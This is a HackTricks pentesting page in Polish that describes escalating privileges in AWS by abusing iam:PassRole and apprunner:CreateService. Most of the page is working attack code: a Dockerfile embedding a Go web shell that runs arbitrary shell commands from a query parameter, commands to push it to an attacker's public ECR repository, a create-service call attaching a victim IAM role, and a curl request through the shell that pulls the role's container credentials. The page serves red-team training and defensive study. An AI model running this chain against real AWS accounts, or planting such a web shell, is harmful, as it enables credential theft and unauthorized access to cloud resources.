AWS - AppRunner Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

AppRunner

iam:PassRole, apprunner:CreateService

Atakujący posiadający te uprawnienia może utworzyć usługę AppRunner z dołączoną rolą IAM, co może prowadzić do eskalacji uprawnień poprzez uzyskanie dostępu do poświadczeń tej roli.

Atakujący najpierw tworzy Dockerfile, który służy jako web shell do wykonywania dowolnych poleceń na kontenerze AppRunner.

FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

Następnie wypchnij ten obraz do repozytorium ECR.

Wypchnięcie obrazu do publicznego repozytorium w koncie AWS kontrolowanym przez atakującego umożliwia eskalację uprawnień, nawet jeśli konto ofiary nie ma uprawnień do manipulowania ECR.

IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

Następnie atakujący tworzy usługę AppRunner, skonfigurowaną z tym web shell image oraz z IAM Role, którą chce wykorzystać.

aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

Po oczekiwaniu na zakończenie tworzenia usługi użyj web shell, aby pobrać container credentials i uzyskać uprawnienia IAM Role przypisanego do AppRunner.

curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

Potencjalny wpływ: Bezpośrednie privilege escalation do dowolnej roli IAM, którą można przypisać do usług AppRunner.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks